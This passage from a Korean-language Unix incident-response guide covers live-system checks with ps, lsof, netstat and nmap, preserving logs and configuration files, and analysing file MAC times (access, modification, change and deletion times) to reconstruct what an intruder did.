따라서침입자가어떠한파일에접근했는지알고싶은경우에는사용하지않도록한다. - "ps -elf" 또는 ps -aux": 현재시스템에서수행중인프로세스상태를보여준다. - lsof : ps와 netstat를대체할수있는것으로현재시스템상의모든프로세스와프로세스가사용하는포트, 열린파일을보여준다. - netstat -na : 현재네트워크활동에대한정보 - last : 사용자, 터미널에대한로그인, 로그아웃정보를보여준다. - who : 현재시스템에있는사용자를보여준다. 또한 nmap을이용하여다른시스템에서피해시스템의모든열린포트를검사하여기록하는일도필요하다. 이는나중에피해시스템을분석하는데큰도움이된다. nmap -st -p 1-65535 xxx.xxx.xxx.xxx( 피해시스템 IP 주소 )

nmap -su -p 1-65535 xxx.xxx.xxx.xxx( 피해시스템 IP 주소 ) nmap : http://www.nmap.org 만약피해시스템을격리해서분석하고자할경우에는, 시스템을셧다운시키기보다는네트워크선을분리하는것이바람직하다. 공격자가시스템에연결되어있는경우, 공격자는관리자가시스템을셧다운시킨다는것을알수있으며, 이는공격자를자극하여시스템전체를파괴할수도있기때문이다. 경우에따라서는피해시스템을격리하지않고인터넷에연결된상태에서분석해야하는경우도발생한다. 이럴경우에는공격자로부터의파괴위험을감수한채분석해야만한다. 위과정에서이상한흔적을찾기위해서는관리자가평소의시스템상태및사용에대하여잘알고있어야만한다. 그리고만약공격흔적을발견하게되면이를중심으로세부적인분석을하면된다. 만약루트킷이설치되어있다고의심되면똑같은버전의다른시스템에서시스템명령을복사해서사용하거나, 부분적으로시스템패키지를다시설치해서분석한다. 단다시패키지를설치하게되면많은공격흔적들이없어질수있다. 미리준비된분석시스템을이용하는것이가장좋은방법이다. 변조된 'ps', 와 'netstat' 를대신해서사용할수있는프로그램으로는 'lsof(list Open File)' 라는프로그램이있다. 이도구는피해시스템분석에있어필수적인도구로, 특정프로세스가사용하는모든열린파일을알수있도록해준다. 또한특정열려진포트를어떤프로세스가사용하고있는지도알수있다. 레드햇의경우디폴트로설치되어있을것이며, 기타시스템의경우다음사이트에서소스를다운받아설치하여야한다. 평소에자신이관리하는시스템에대한 lsof 바이너리를만들어두는것이해킹사고시빨리대응하기에좋다. ftp://vic.cc.purdue.edu/pub/tools/unix/lsof 또는 ftp://ftp.sunet.se/pub/unix/admin/lsof/ 만약어쩔수없이피해시스템에대한 bit 이미지를백업하지않고, 온라인으로피해시스템을직접분석할경우에는 ( 최소한의피해시스템분석을결정한경우이다 ), 먼저위에서설명한정보와더불어다음과같은주요정보를다른안전한시스템에복사해두어야한다. 침입자는언제든시스템을파괴할수있기때문이다. - 시스템의모든로그파일 - inetd.conf, 패스워드파일, 기타주요설정파일 - 주요디렉토리에대한 ls -alt 결과값 ( 예, /dev, /, /etc, 사용자홈디렉토리등 ) - find / -ctime -ndays -ls 결과값 이미최소한의분석방법을택했으므로, find 명령을사용하여가능한한많은정보를획득한다. - 발견시, 침입자가사용한디렉토리파일등 - 기타시스템을분석하면서나온정보들 6.3.2 MAC time 에근거한분석

유닉스시스템뿐만아니라대부분의파일시스템은모든디렉토리나파일과관련된시간속성 (mtime, atime, ctime) 을갖는다. 그리고이러한시간속성은시스템, 또는사용자활동 (Activity) 에대한정보등피해시스템을분석하는데매우중요한정보를제공한다. 이러한시간속성을줄여서 MAC time이라고한다. - atime( 마지막접근 (access)) : 마지막으로파일을읽거 (read) 나실행 (execution) 시킨시간 - mtime( 마지막변경 (Modification) 시간 ) : 파일을생성 (creation) 한시간, 또는마지막으로파일내용을바꾼시간 - ctime( 마지막파일속성변경 (status change) 시간 ) : 마지막으로파일의소유자, 그룹, 퍼미션등이변경된시간, dtime이없는시스템에서는 ctime을파일의삭제시간으로추정할수있다. - dtime( 삭제 (deletion) 시간 ) : 파일삭제시간 MAC time 은공격자가피해시스템에서어떠한행동을했는지에대해판단할수있는자세한정보를제공한다. 예를들어공격자가어떤프로그램을생성하고, 컴파일하고, 실행했는지에대한정보를알수있으며, 어떠한프로그램을변조시켰는지에대한정보도알수있다. 또한 ctime과 inode 정보를추적하게되면지워진파일에대한정보와내용을복구할수있다. 특히, MAC time을시간순서로정렬해서분석하게되면침입자의일련의행동을추측할수도있게된다. 유닉스시스템에서는이러한 MAC time을자세히분석할수있는프로그램이제공되지않기때문에, 다른도구를사용하여야한다. 현재몇몇도구가공개되어있으며, 이러한도구는 MAC time을비롯하여지금까지설명한피해시스템분석을위한다양한도구를제공한다. MAC time을가지고시스템을분석할경우주의할것은관리자가단순히시스템을둘러보기만해도 MAC time이변경된다는것이다. 특히, find와같은명령을사용하면 atime이변경되기때문에위의예와같이침입자가접근했던경로를얻을수없게된다. 즉, MAC time은아주변경되기쉬운정보이기때문에, 피해시스템을분석하기에앞서 TCT와같은분석도구를이용해 MAC time값을획득하여야한다. 가장좋은방법은분석시스템을이용하여피해시스템을분석하는것이다. 보다자세한설명은다음공개도구를이용한분석을참조하기바란다. MAC time을이용한분석에도물론한계가따른다. 무엇보다 MAC time은파일에대한최근의마지막변경시간만을간직하고있기때문에, 활발한시스템활동에의해쉽게변경될수있다. 그리고공격자는 touch 등의명령이나시스템시간을바꿈으로서언제든이러한시간을변경할수있다. 하지만침입자가몇몇파일의시간을변조했다하더라도, MAC time은여전히시스템에서일어난일을분석하는데큰도움이될것이다.